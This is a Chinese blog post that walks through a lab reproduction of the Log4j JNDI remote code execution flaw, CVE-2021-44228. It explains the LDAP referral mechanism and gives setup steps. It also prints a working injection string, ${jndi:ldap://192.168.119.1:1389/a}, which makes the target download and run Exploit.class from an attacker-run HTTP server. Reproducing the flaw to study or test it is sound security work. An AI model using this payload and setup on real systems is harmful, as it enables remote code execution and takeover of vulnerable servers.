Log4j远程代码执行漏洞(CVE-2021-44228)漏洞复现

基本信息

漏洞编号:CVE-2021-44228
影响版本:2.x<=2.15.0-rc1
poc地址:https://gitee.com/lcosmos/apache-log4j-poc
在此十分感谢我的寝室长Cosmos提供的poc和技术支持。

原理简述

当log4j打印的日志内容中包含${jndi:ldap://my-ip}时,程序就会通过ldap协议访问my-ip这个地址,然后my-ip就会返回一个包含java代码的class文件的地址,然后程序再通过返回的地址下载class文件并执行。

漏洞复现

首先安装maven依赖,并配置环境变量。安装方法请参考:https://jingyan.baidu.com/article/e4d08ffde8d4b24fd2f60dce.html

安装后执行mvn --version,如果出现版本信息则说明安装成功,如下图所示:

在这里插入图片描述

然后更换maven源,因为poc所需要的依赖需要通过maven下载,更换成国内的源可以大大提高下载速度,更换源的方法可以参考:https://www.cnblogs.com/c2g5201314/p/14399714.html

然后用ide打开poc项目,在Exploit.java中写入要执行的命令,如下图所示:

在这里插入图片描述

然后通过javac命令将Exploit.java编译成class文件。

cd src/main/java 
javac Exploit.java

在这里插入图片描述

需要配置一下LDAPRefServer文件,该文件的作用就是启动一个LDAP服务。如下图所示1389就是LDAP服务的端口,http://192.168.119.1:8099/#Exploit就是class文件的地址。

上面class文件地址中#号必须加上,文件的class后缀需要省略。LDAP服务返回http://192.168.119.1:8099/#Exploit就是让靶机去http://192.168.119.1:8099下载Exploit.class文件并执行。

在这里插入图片描述

然后点击依次右边的Maven和compile,这会自动下载所需的依赖包。等待下载完依赖后就点击LDAPRefServer.java文件中的小三角图形启动LDAP服务。

在这里插入图片描述

然后来到Exploit.class文件所在目录下执行python -m http.server 8099启动http服务,也可以用其他方法,只要提供一个能下载Exploit.class的http服务即可。

注意http服务ip和端口要与LDAPRefServer.java文件中ip和端口对应。

在这里插入图片描述

然后运行Log4j.java文件,这个文件执行内容是通过log4j框架打印日志${jndi:ldap://192.168.119.1:1389/a},其中192.168.119.1:1389是lDAP服务的ip地址和端口。然后就会发现命令执行成功了。

在这里插入图片描述

参考文献

https://gitee.com/lcosmos/apache-log4j-poc/blob/master/README.md

https://jingyan.baidu.com/article/e4d08ffde8d4b24fd2f60dce.html

https://www.cnblogs.com/c2g5201314/p/14399714.html

  • 13
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

rpsate

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值